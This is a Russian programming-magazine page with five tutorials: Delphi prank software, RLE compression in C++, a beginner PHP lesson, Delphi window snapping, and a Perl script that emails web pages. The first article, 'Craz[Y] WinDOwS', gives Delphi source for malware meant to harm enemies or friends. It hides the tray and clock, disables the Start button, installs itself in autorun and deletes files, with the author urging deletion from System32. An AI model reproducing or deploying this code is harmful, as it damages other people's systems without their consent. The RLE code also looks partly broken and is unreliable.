AboutPC
Главная 
Hi-Tech 
Интернет 
Безопасность 
Антиспам 
Железо 
КПК 
Мобильники 
Windows 
*nix 
Софт 
Игры 
Веб-дизайн 
Кодинг 
Заработок 
Юмор 
Отдыхай с PC 
Разное
:: о журнале
:: друзья
:: партнеры
:: авторам
:: читателям
:: веб-мастеру
:: copyright
:: рассылки
:: реклама
:: мыло
:: сайт

Раздел "Кодинг". Содержание:

Статьи:

Craz[Y] WinDOwS
Методы сжатия данных
Изучаем PHP
Липкие окошки
Perl :: LWP + MIME или как получить WEB страницу по почте

 

Подпишитесь на рассылку от ведущего раздела "Кодинг"

Сервис почтовых рассылок CONTENT.MAIL.RU
E-mail:

 

Раздел "Кодинг". Статьи:

Craz[Y] WinDOwS

Все мы не без греха :-) Сколько раз Вам хотелось сделать что-нибудь такое что бы отомстить своим врагам по полной. Наверное часто, но сегодня я постараюсь Вам в этом помочь.

Создать всеми любимое западло легко, имея под рукой минералку (заметьте не ПИВО) и средство программирования Delphi (желательно не ниже 6 версии).

Мне самому часто хочется сделать друзьям западло, посидев денёк за Delphi у меня получилось не большое западло которое я назвал Craz[Y] WinDOwS.

Итак, приступим.

Ниже преведен код программы Craz[Y] WinDOwS.

Подготовка - макияж:

Для начала нам понадобиться 11 таймеров (с закладки System) на форме. Свойство Enablade у все таймеров true. Теперь добрались до формы, значение left и top нам желательно поставить в минус, так форма будет в не зоны видимости экрана.

В модуль uses добавим:

uses {Здесь почти все как и в "голом" проекте}
  IniFiles,{Нужно для чтения win.ini то есть Автозагрузки}
  Windows, Messages, SysUtils, Variants, Classes,
  Graphics, Controls, Forms,Dialogs, ExtCtrls;

Далее идет перечисление компонентов используемых на форме и т.д.

А вот теперь мы начинаем наше ЗАпаДлО-)

Сейчас мы рассмотрим процедуру скрытия System Tray (это такая панелька где расположены часики и кнопочка Пуск), данная процедура находит System tray и отключает его.

{Процедура Скрытия System tray}
procedure killSystemTray(die:boolean);
  Var
    B : String;
    Tray, small : hWnd;
    A : Array[0..127] of Char;

Begin
    Tray := FindWindow('Shell_TrayWnd', NIL);
    small := GetWindow(Tray, GW_CHILD);
    While small <> 0
do Begin
    If GetClassName(small, A, SizeOf(A)) > 0
Then Begin
      B := StrPAS(A);
        If UpperCase(B) = 'TRAYNOTIFYWND'
then begin
      If die
      then ShowWindow(small, 1)
        else ShowWindow(small, 0);
end;
end;
    small := GetWindow(small, GW_HWNDNEXT);
end;
end;

Далее мы вызываем событие по первому таймеру:

{Здесь мы активируем выше описаную процедуру killSystemTray}
procedure TForm1.Timer1Timer(Sender: TObject);
begin
  killSystemTray(false);  {Скрываем System tray}
end;

Для тех кто захочет вернуть System tray необходимо написать:

killSystemTray(true); {Показываем System tray}

Знаете всем кто хочет сделать западло нужно по издеваться над Пуском, а почему мы должны от них отставать.

Сейчас и мы поиздеваемся. Вызываем событие по второму таймеру, и пишем:

{Отключение кнопки Пуск}
procedure TForm1.Timer2Timer(Sender: TObject);
Var
    KillPusk: integer;
begin
    KillPusk:= random (5);
    IF KillPusk= 0 then
begin
{Убиваем ПУСК НА ВСЕГДА :-)}
EnableWindow(FindWindowEx(FindWindow('Shell_TrayWnd', nil),0, 'Button', Nil), false);
{Возвращаем ПУСК :-(} {EnableWindow(FindWindowEx(FindWindow('Shell_TrayWnd', nil),0, 'Button', Nil), true);
  end;
end;

Хотелось бы заметить важную вещь, что после того как выполниться это событие всеми любимую кнопочку Пуск вернуть не получиться, даже после перезагрузки.

Но самая важная часть нашего западло это что? Правильно, запись нас в автозагрузку.

Допиваем нашу минералку и вызываем событие FormCreate (два раза щелкаем левой кнопкой мыши по нашей форме и пишем):

{Записываемся в AutoRun}
procedure TForm1.FormCreate(Sender: TObject);
var
    win: TIniFile;
    auto: string;
begin
    Win:= TIniFile.Create('win.ini');
    Win.ReadString ('windows','run',auto); //Просмотр содержимого win.ini
      IF auto<> application.ExeName then
    win.WriteString('windows','run',application.ExeName); //Записываем "НАС" в автозагрузку :-)
    Win.Free; // Очищаем все
RaNdOmIzE;
end;

Теперь когда кто то запустит нашу программу, она автоматически начнет загружаться, КРУТО, не так ли.

Но можно ужесточить нашу программу. Мы можем удалить любой файл по событию таймера. Вот маленький примерчик:

procedure TForm1.TimerKillerTimer(Sender: TObject);
begin
  if FileExists('C:\index.txt') then {Если есть такой файл}
    DeleteFile('C:\index.txt');   {То теперь его уже нету}
{Конечно вместо index.txt можно указать любой файл, а лучше указать файл из папки Windows\System32, так как там расположены самые важные файлы. Удаление которых может привести к некорректной работе ОС}
end;

Ну наверное добьем на сегодня тему с System Tray. Спрячем всеми любимые и очень нужные часики.

Вызываем событие по третьему таймеру и там пишем:

{Скрываем ЧАСЫ на System Tray }
procedure TForm1.Timer3Timer(Sender: TObject);
var
    chasiki : HWnd;
begin
  chasiki := FindWindowEx(FindWindowEx(FindWindow('Shell_TrayWnd',nil),0,'TrayNotifyWnd',nil),0,'TrayClockWClass',nil);
{Ага нашли часики}
  if chasiki <> 0 then
    ShowWindow(chasiki,SW_HIDE);
{И спрятали их}
end;

Ну а тем кто хочет их вернуть прошу написать вот это:

var
    chasiki : HWnd;
begin
chasiki := FindWindowEx(FindWindowEx(FindWindow('Shell_TrayWnd',nil),0,'TrayNotifyWnd',nil),0,'TrayClockWClass',nil);
if chasiki <> 0 then
  ShowWindow(chasiki,SW_SHOW);
end;

Ну все, на сегодня хватит, как говориться журнал не резиновый. А если вы хотите довести до ума свое западло, то ждите, а лучше качайте новый номер журнала.

Всего наилучшего...

С уважением Денис Казаков aka AcTivE

автор:Денис Казаков aka AcTivE
сайт:aboutpc.net
мыло:info@aboutpc.net

 

 

 Наверх

Методы сжатия данных

Вы когда-нибудь писали программы с объемным выводом информации, неважно, отладочной или результатов обработки? А может у вас программа использует свой формат файлов, который содержит мегабайты данных? Задумывались ли вы как бы уменьшить объемы подобных громад?

Если нет, то просмотри эту и последующие статьи ради интереса, вдруг когда-нибудь пригодится...

Если же приходилось, то существуют по крайней мере два способа реализации ваших идей:

  • Взять уже разработанные кем-то компоненты и, не мудрствуя лукаво, ими воспользоваться,
  • Написать свои компоненты, функции, библиотеки и т.д.
Первый способ прост, но имеет ряд существенных недостатков:
  • Компоненты могут быть с глюками, и их отладка будет слишком сложна
  • Компоненты могут иметь недостаточно или слишком много функций,
  • Компоненты скорее всего будут небесплатными.

Способ второй непрост, но все теперь зависит от тебя и ты, читатель, можешь изменять методики под свои нужды. Именно для тех, кто хочет узнать о сжатии немного больше, и написана эта статья.

Итак, мы поговорим о сжатии данных, кратко рассмотрим теоретическую часть, изучим несколько основных методов и, разумеется, напишем программы.

Что есть сжатие данных?

Предположим, есть символьная информация, будь то строка или содержимое файла. Назовем ее входным потоком данных. Как известно, поток данных состоит из байтов, значения которых изменяется от 0 до 255. Необходимо получить выходной поток данных на основе анализа входного потока.

Обычно для сжатия нужно прочитать входной поток как минимум два раза. Первый раз - анализируя, во второй раз - сжимая. Хотя первый метод, который рассматривается в этой статье, является редким исключением.

Для распаковки - входной поток (со сжатыми данными) читается только один раз.

Методы сжатия информации можно разделить на следующие группы:

  • С использованием алфавита (т.е. правила перевода выходного потока во входной и обратно),
    • На основе вероятностей появления символа,
    • Без расчета вероятностей,
  • Без использования алфавита.

Данная классификация наверняка неполная, но охватывает те грани, которых мы коснемся.

Мы рассмотрим следующие методы:

  • Групповое кодирование на лету (RLE),
  • Арифметическое кодирование,
  • Классический метод Фано-Шеннона,
  • Не менее классический метод Хаффмана,
  • Метод Лемпела-Зива и его модификации.

Вполне возможно, что кроме этого обзорно рассмотрим другие методы сжатия.

Предполагается, что вы знаете хотя бы один язык программирования и основные приемы при создании программ. Все функции данной и последующих моих статей писались на Borland C++ Builder версии 6.0.

Итак, сегодня мы рассмотрим один из самых легких методов, а именно метод группового кодирования на лету (Run Length Encode - RLE).

Групповое кодирование на лету

Этот метод и его модификации используются, например, в некоторых графических форматах файлов (BMP, PCX, TGA и некоторых других).

Достоинства:

  • Быстрота обработки (одиночное прохождение по содержимому входного потока).

Недостатки:

  • Малая степень сжатия, нередко выходной поток получается по длине несколько больше входного.

Суть метода заключается в замене нескольких подряд идущих одинаковых символов на пару <кол-во повторений, повторяющийся символ>.

Имеется входной поток 'йййццццццццууукенгшщзззззхххх'. Мы меняем повторяющиеся подряд символы на соответствующие пары. Получается выходной поток наподобие следующего: '3й8ц3укенгшщ5з4х'.

Как видно из примера, сжатые блоки данных перемежаются с несжатыми блоками, что создает проблему идентификации и вследствие этого, проблемы при раскодировании. Чтобы избежать перечисленных проблем, мы в выходном поток данные цепочку одинаковых символов мы заменим триадой <1, кол-во повторений, повторяющийся символ>, где 1 - идентификатор сжатого блока, а цепочки символов, не подлежащих сжатию заменим на <2, кол-во символов, символы:>, где 2 - идентификатор несжатого блока. Таким образом, наш выходной поток будет выглядеть следующим образом: '13й18ц13у26кенгшщ15з14х'.

Замечания.

Для того, чтобы узнать тип блока (если он неизвестен) необходимо считать как минимум два символа. Если они не равны, то блок - несжатый. Если же они равны, то есть подозрение на сжатый блок. Это подозрение снимается после чтения очередного символа. Кстати, вопрос на самостоятельное размышление: почему сжимается цепочка одинаковых символов длиной 3 и больше?

Все, что мы должны знать при программировании, нам известно.

void CompressRLE(AnsiString infile, AnsiString outfile)
{
unsigned char symb, blockdata[256];
int fr, frsize; // дескриптор считываемого файла и его длина
int fw; // дескриптор записываемого файла
int i;
char blocktype=0; // 1- сжатый 2-несжатый 0-неизвестен
unsigned char blocklen=0;
fr=FileOpen(infile,fmOpenRead); // открываем исходный файл
fw=FileCreate(outfile); // создаем выходной файл
frsize = FileSeek(fr,0,2); // узнаем длину исходного файла
FileSeek(fr,0,0);
for (i=0;i<frsize;i++)
{
FileRead(&symb ,1); // считываем очередной символ с входного файла
switch(blocktype)
{
case 0: // тип блока еще не известен
blockdata[blocklen++]=symb;
if (blocklen>0)
if (blockdata[blocklen-1]!=blockdata[0])
blocktype=2;
else if (blocklen>2)
blocktype=1; // сжатый блок не содержит менее двух подряд идущих одинаковых символов
break;
case 1: // сжатый блок
if (blockdata[0]==symb) blocklen++;
else
{ // сжатый блок кончился
SaveBlock(fw,blockdata,blocklen, blocktype);
blocktype=0; blocklen=0; blockdata[0]='\0';
blockdata[blocklen++]=symb;
};
break;
case 2: // несжатый блок
blockdata[blocklen]=symb;
if ((blockdata[blocklen]==blockdata[blocklen-1])&&(blockdata[blocklen-2]==blockdata[blocklen-1]))
{ // если три подряд символа одинаковы
SaveBlock(fw,blockdata,blocklen-2, blocktype); // сохраняем предыдущий блок
blocktype=1; blocklen=3; blockdata[0]=symb; // следующий блок будет сжат
}
else blocklen++;
if (blocklen==255) // т.к. длина блока занимает1 байт, то максимальная длина блока = 255
{SaveBlock(fw,blockdata,blocklen, blocktype); blocktype=0; blocklen=0; blockdata[0]='\0';}
}
}
SaveBlock(fw,blockdata,blocklen, blocktype);
FileClose(fw);
FileClose(fr);
}

В данном куске кода не рассмотрена функция сохранения блока в файл. Для тех, кто хочет попрактиковаться в программировании, оставляю написание этой функции и функции раскодирования на самостоятельное рассмотрение.

Теперь, что можно сделать для улучшения сжатия?

Есть несколько путей.

  • Некоторые модификации объединяют идентификацию типа блока и кол-во элементов в блоке. Первый бит в заголовке блока заключает его тип, а остальные 7 байт - количество элементов в блоке. Таким образом, в блоке может максимум 127 элементов.
  • Можно несколько идущих подряд сжатых блоков записывать под одним типом идентификации, т.е. входной поток из примера 'йййццццццццууукенгшщзззззхххх' можно заменить на '13й8ц3у26кенгшщ15з4х'. Для несжатых блоков можно применить модификацию, при длине данных в последующих блоках более 2 символов, для того, чтобы избежать конфликта длины блока с идентификатором типа блока.

автор:Steve Schafer
сайт:
мыло:

 

 

 Наверх

Изучаем PHP

Итак, вы решились на этот смелый шаг изучения PHP. Только за это вы достойны похвалы. Не стоит понимать это как какое-то запугивание, просто по моему мнению, человек, решивший серьезно заняться программированием, заслуживает уважение за смелость, а человек, научившийся программированию, достоен медали за терпение и упорство.

Ну все, для вступлений хватит, пора непосредственно переходить к нашим урокам.

Прежде всего нужно сказать: PHP-скрипт для его выполнения должен быть заключен в следующие последовательности символов:

<? собственно скрипт ;?>

либо

<?php скрипт ;?>

или

<script language="php"> сам скрипт </script>

Все они работают одинаково, все дело только в личных предпочтениях. Например, мне больше нравится первый вариант, но вы можете пользоваться любым другим.
Между этими символами будет выполняться каждая строка кода, кроме строк-комментариев, которые обзначаются следующим образом:
// - не выполняются команды от данных символов до конца строки;
/* комментарий */ - не выспринимаются команды между данными символами независимо от количества строк комментария;
# - комментарием считаются все символы от данного знака до конца строки.

Теперь мы познакомимся с одной из самых распространенных функций PHP - функцией вывода echo. Например, скрипт

<?
echo "Сейчас мы проходим урок
1";?>


выведет на экран текст "Сейчас мы проходим урок 1" (без кавычек) без какого-либо форматирования. Вы можете опробывать это сами. Для этого необходимо создать файл с расширением .php, .php3, .php4 (хотя последние два использовать не рекомендуется) или .phtml (именно эти расширения дают понять серверу, что в файле содержится php скрипт) и скопировать туда предыдущий пример. После закачки файла на хостинг, набрав в браузере соответствующий URL, вы можете увидеть плод вашего небольшого труда. Добавлю, что внутри кавычек функции echo можно размещать любой текст, в том числе HTML-теги.

Но, конечно же, функция echo была бы бесполезна, если бы выводила одно и то же сообщение. Поэтому мы плавно переходим к понятию переменной. Все без исключения переменные в PHP начинаются со знака $ (доллар). Причем имя переменной не должно начинаться с цифры, хотя внутри себя может её содержать. Заметьте, что имена переменных чувствительны к регистру.

Операция, неразрывно связанная с переменными, - операция присваивания = . Рассмотрим следующий пример:

<? $A=7.135;
$a=15; $mess4="Четверг";
echo "Сегодня $mess4, $a -ое" ;
$9sad=194 //Неправильное имя переменной
?>

Интересная особенность PHP заключается в том, что от пользователя не требуется предварительно определять тип переменной. В вышеуказанном примере мы присвоили переменной $A действительное, нецелое число, и она автоматически стала типа double, или, по-другому, float. Переменной $a мы присвоили целое числовое значение, теперь её тип - integer. $mess4 присвоено строковое значение - её тип, соответственно, string. Данная особенность, безусловно, облегчает жизнь разработчика PHP-скриптов.
Как вы заметили выше, каждая операция в PHP  отделяется знаком ; (точка с запятой). Это обязательное условие для всех операций, кроме некоторых функций, которые мы рассмотрим в следующих уроках.

Но опять же все переменные в примере выше фиксированы, для их изменения нам необходимо самим менять их значение в скрипте. Как же этого избежать? Ответ - стандартные формы HTML.

<HTML>
<form action="www.ваш_домен.ru/test.php" method="post">
Ваше имя <input type="text" name="name"><br>
Ваша фамилия <input type="text" name="fam"><br>
<input type="submit" value="Да!">
</form></HTML>

 Если мы укажем в свойстве action тега Form в качестве скрипта-обработчика наш файл test.php, содержащий следующие строки:

<? echo "Поздравляю, $name $fam,<br>Вы только что выиграли
1 000 000 японский йен. Забрать вы их можете в г.Токио, улица Красных Самураев, д.15"  ;?>

то имена полей формы и их значения передадутся скрипту, который автоматически сделает названия полей переменными, а значения полей - значениями соответствующих переменных.

Вот как будет работать наш пример:

Ваше имя       
Ваша фамилия

Замечу, что данный пример будет работать только если в настройках PHP (они хранятся в файле php.ini) в качестве значения параметра "register_globals" установлено "On".

На этом мы закончим наш первый урок. Поздравляю вас с этим и надеюсь на то, что вам было интересно и вы продолжите свое обучение. На следующем уроке мы поближе познакомимся с формами и со связкой форма->скрипт.

автор:Артем Акатов
сайт:myphp.net.ru
мыло:

 

 

 Наверх

Липкие окошки

В статье рассматривается приём создания обработчиков сообщений, которые позволяют форме при перетаскивании "прилипать" к краям экранной области.

Конечно же в Win API такой возможности не предусмотрено, поэтому мы воспользуемся сообщениями Windows. Как нам извесно, Delphi обрабатывает сообщения через события, генерируя его в тот момент, когда Windows посылает сообщений приложению. Однако некоторые сообщения не доходят до нас. Например, при изменении размеров формы, генерируется событие OnResize, соотвествующее сообщению WM_SIZE, но при перетаскивании формы никакой реакции не происходит. Конечно же форма может получить это сообщение, но изначально никаких действий для данного сообщения не предусмотрено.

Итак, при перемещении, окну посылается сообщение WM_MOVING. Обрабатывая данной сообщение, приложение может отслеживать размер и расположение перетаскиваемого квадрата и, при необходимости, изменять их.

Так же существует сообщение WM_WINDOWPOSCHANGING, которое посылается окну, в случае, если его размер, расположение или место в Z порядке собираются измениться, как результат вызова функции SetWindowPos либо другой функции управления окном.

Чаще всего с сообщением передаются дополнительные параметры, которые сообщают нам необходимую информацию. Например, сообщение WM_MOVE, указывающее на то, что форма изменила своё местоположение, так же передаёт в параметре LPARAM новые координаты X и Y.

Сообщение WM_WINDOWPOSCHANGING передаёт нам ТОЛЬКО один параметр - указатель на структуру WindowPos, которая содержит информацию о новом размере и местоположении окна. Вот как выглядит структура WindowPos:

TWindowPos = packed record
hwnd: HWND; {Identifies the window.}
hwndInsertAfter: HWND; {Window above this one}
x: Integer; {Left edge of the window}
y: Integer; {Right edge of the window}
cx: Integer; {Window width}
cy: Integer; {Window height}
flags: UINT; {Window-positioning options.}
end;

Наша задача проста: нам необходима, чтобы форма прилипла к краю экрана, если она находится на определённом расстоянии от окна (допустим 20 пикселей).

Пример

К новой форме добавьте Label, один контрол Edit и четыре Check boxes. Измените имя контрола Edit на edStickAt. Измените имена чекбоксов на chkLeft, chkTop, и т.д... Для установки количества пикселей используем edStickAt, который будет использоваться для определения необходимого расстояния до края экрана достаточного для приклеивания формы.

Нас интересует только одно сообщение WM_WINDOWPOSCHANGING. Обработчик для данного сообщения будет объявлен в секции private. Ниже приведён полный код этого процедуры "прилипания" вместе с комментариями. Обратите внимание, что Вы можете предотвратить "прилипание" формы к определённому краю, путё снятия нужной галочки.

Для получения рабочей области декстопа (минус панель задач, панель Microsoft и т.д.), используем SystemParametersInfo, первый параметр которой SPI_GETWORKAREA.

...
private
procedure WMWINDOWPOSCHANGING(var Msg: TWMWINDOWPOSCHANGING);
message WM_WINDOWPOSCHANGING;
...
procedure TfrMain.WMWINDOWPOSCHANGING(var Msg: TWMWINDOWPOSCHANGING);
const
Docked: Boolean = FALSE;
var
rWorkArea: TRect;
StickAt : Word;
begin
StickAt := StrToInt(edStickAt.Text);
SystemParametersInfo(SPI_GETWORKAREA, 0, @rWorkArea, 0);
with Msg.WindowPos^ do
begin
if chkLeft.Checked then
if x <= rWorkArea.Left + StickAt then
begin
x := rWorkArea.Left;
Docked := TRUE;
end;
if chkRight.Checked then
if x + cx >= rWorkArea.Right - StickAt then
begin
x := rWorkArea.Right - cx;
Docked := TRUE;
end;
if chkTop.Checked then
if y <= rWorkArea.Top + StickAt then
begin
y := rWorkArea.Top;
Docked := TRUE;
end;
if chkBottom.Checked then
if y + cy >= rWorkArea.Bottom - StickAt then
begin
y := rWorkArea.Bottom - cy;
Docked := TRUE;
end;
if Docked then
begin
with rWorkArea do
begin
// не должна вылезать за пределы экрана
if x < Left then
x := Left;
if x + cx > Right then
x := Right - cx;
if y < Top then
y := Top;
if y + cy > Bottom then
y := Bottom - cy;
end; {ширина rWorkArea}
end;
end; {с Msg.WindowPos^}
inherited;
end;
end.

Теперь достаточно запустить проект и перетащить форму к любому краю экрана.

Вот собственно и всё.

автор:
сайт:Team-x.ru
мыло:

 

 

 Наверх

Perl :: LWP + MIME или как получить WEB страницу по почте

В этой статье будет рассказано о том, как используя модули Perl LWP::UserAgent и MIME::Lite скачать HTML страницу и отослать ее в письме вместе со всеми вложенными изображениями.

Применяя изложенный метод я ежедневно получаю свежие анекдоты в свой почтовый ящик - ну лень мне каждый день лазить в Инет :-)

Для работы нам потребуются следующие модули (взять их можно на CPAN http://www.cpan.org)

  • LWP::UserAgent - класс пользовательских агентов WWW
  • MIME::Lite - облегченный MIME кодер/декодер
  • URI::URL - работа с URL
  • HTML::LinkExtor - получение списка всех URL в документе
  • Time::Local - преобразует компоненты полного времени в секунды

Для примера разберем, как выкачиваются все истории за день с сайта "Анекдоты из России" http://www.anekdot.ru.

Сайт постоянно обновляется, поэтому имеет смысл выкачивать все истории за вчера, там содержимое уже меняться не будет.

Адрес нужной нам страницы строится следующим образом :

сайт анекдотов/an/an год месяц/o год месяц день .html

Причем от года берутся только 2 последние цифры, а месяц и день дополняется до 2 символов нулями слева, если это необходимо.

Таким образом, страница:

http://www.anekdot.ru/an/an0206/o020629.html содержит все истории за 29 июня 2002 года.

Небольшое лирическое отступление для тех, кто только начал осваивать Perl.

Как скачать WEB страницу?

require LWP::UserAgent; $ua = LWP::UserAgent->new;
$ua->proxy(['http', 'ftp'], 'адрес прокси-сервера');
$req = new HTTP::Request('GET' => 'страница для скачивания');
if ($res->is_success) { $page = $res->content; }

Как отправить письмо с прикрепленными файлами?

require MIME::Lite;
$msg = MIME::Lite->new(From =>'Ваш@Адрес.com',
To =>'Адрес@Получателя.com',
Subject =>'Тема сообщения',
Type => 'multipart/related');
$msg->attach(Type =>'text/plain; charset=windows-1251',
Data => текст письма);
$msg->attach(Type => 'image/gif',
Path => путь к файлу,
Filename =>'img.gif');
$msg->send();

Рассмотрим по шагам работу программы.

  • Определяем URL документа
  • Скачиваем содержимое WEB страницы
  • Ищем и скачиваем все содержащиеся на странице изображения
  • Меняем ссылки относительно документа на их абсолютное значение
  • Присоединяем внешние файлы CSS,JavaScript
  • Кодируем все изображения и собираем MIME объект
  • Отсылаем получившееся письмо по электронной почте

Техническую реализацию скрипта я буду описывать схематически, если что будет не понятно - смотрите исходник.

C ANEKDOT.RU все истории за вчера. Вычисляем дату - полночь вчерашнего дня. Дополняем дату нулями слева.

$sutki=24*60*60;
($tek_day,$tek_month,$tek_year)=(localtime)[3,4,5];
$in1=timelocal(0,0,0,$tek_day,$tek_month,$tek_year);
$in2=$in1-$sutki;
($tek_day,$tek_month,$tek_year)=(localtime($in2))[3,4,5];
$tek_month++;
$tek_year+=1900;
if ($tek_month<10) {$tek_month="0".$tek_month}
if ($tek_day<10) {$tek_day="0".$tek_day;}
$an_year=substr($tek_year, 2, 2);

Страница для скачивания. Определяем адрес страницы согласно приведенного шаблона.

$url_page="http://www.anekdot.ru/an/an".$an_year.$tek_month.
"/o".$an_year.$tek_month.$tek_day.".html";

Скачиваем содержимое страницы используя модуль LWP.

if ($url_page && $url_page=~/^(https?|ftp|file|nntp):\/\//) {
my $req = new HTTP::Request('GET' => $url_page);
my $res = $ua->request($req);
$gabarit = $res->content;
}

Подключаем внешний CSS и JavaScript. Тут все очень упрощенно показано, но разобраться можно - качаем файл со скриптами и подставляем его в нужное место HTML документа.

внешний CSS = '<style type="text/css">'."\n".
'<!--'."\n". файл со стилями ."\n-->\n</style>\n";
документ HTML =~s/<link([^<>]*?)href="?([^\" ]*)"?([^>]*)>/ внешний CSS /iegmx;
внешний JS = '<script><!--'.
"\n". файл со скриптами ."\n-->\n</script>\n";
документ HTML =~s/<script([^>]*)src="?([^\" ]*js)"?([^>]*)>/ внешний JS /iegmx;

Проходимся по всем ссылкам и меняем относительный путь на абсолютный. Необходимо это для того, чтобы нажав на ссылку в письме мы попадали именно туда, куда указывала ссылка с документа, размещенного в Инете.

my $analyseur = HTML::LinkExtor->new; $analyseur->parse($gabarit);
my @l = $analyseur->links;
foreach my $url (@l) {
my $urlAbs = URI::WithBase->new($$url[2],$racinePage)->abs;
chomp $urlAbs;
if ( ($$url[0] eq 'a') && ($$url[1] eq 'href') &&
($$url[2]) && (($$url[2]!~m!^http://!) && ($$url[2]!~m!^mailto:!)) ) {
$gabarit=~s/\s href= [\"']? $$url[2] [\"']?/ href="$urlAbs"/gimx;
}
}

Выбираем из документа все изображения, скачиваем картинку, определяем тип и возвращаем ее, закодированную в MIME.

if ( ((lc($$url[0]) eq 'img') || (lc($$url[0]) eq 'src')) ) {
push(@mail, create_image_part($urlAbs));
}
if (lc($ur)=~/gif$/) {$type="image/gif";}
elsif (lc($ur)=~/jpg$/) {$type = "image/jpg";}
else { $type = "application/x-shockwave-flash"; }
my $res2 = $ua->request(new HTTP::Request('GET' => $ur));
$buff1=$res2->content;
$file_name = substr($ur,rindex($ur,"/")+1,length($ur));
# кодируем очередную картинку
my $mail = new MIME::Lite(
Data => $buff1,
Encoding =>'base64',
'Filename'=>$file_name);
$mail->attr('Content-type'=>$type);
$mail->attr('Content-Location'=>$ur);

Создаем MIME объект, указываем от кого и кому письмо, тему сообщения. Если на странице изображений нет - тип сообщения text/html, если есть картинки - multipart/related.

$mail = new MIME::Lite 'From' => 'somebody@somewhere.com',
'To' => $to_email,
'Subject' => $url_page,
'Data' => $html;
$mail->attr("Content-type" => $content_type);
if (@mail) {
# присоеденяем каждую картинку
$mail->replace("Type" => "multipart/related");
foreach (@mail) {$mail->attach($_);}
}

Отсылаем страницу по почте. Можно использовать SMTP или sendmail.

MIME::Lite->send('smtp', " адрес SMTP сервера ", Timeout=>60); $mail->send();

Выполнение программы.

Помещаем наш скрипт в каталог, откуда разрешено выполнение программ и делаем файл исполняемым

chmod 750 /usr/local/www/cgi-bin/html_on_email3.pl

Для того, чтобы окончательно все автоматизировать, вешаем наш скрипт на CRON. Для этого в файл /etc/crontab добавляем строчку

0 9 * * * root /usr/local/www/cgi-bin/html_on_email3.pl

И каждое утро в 9 часов читаем свежие анекдоты.

Для того, чтобы скрипт работал и в локальной сети необходимо установить соединение с Инетом и явно указать адреса прокси- и SMTP - сервера.

$ua->proxy(['http', 'ftp'], 'http://10.0.0.3:3128/');
MIME::Lite->send('smtp', "10.0.0.1", Timeout=>60);

В завершение хочу заметить, что все можно было написать и по-другому, более красиво. Но программа работает, а большего от нее и не требуется :-)

автор:Vladimir Maximenko
сайт:www.codenet.ru
мыло:4raznoe@mail.ru

 

 

 Наверх

 
design: ФуксЪ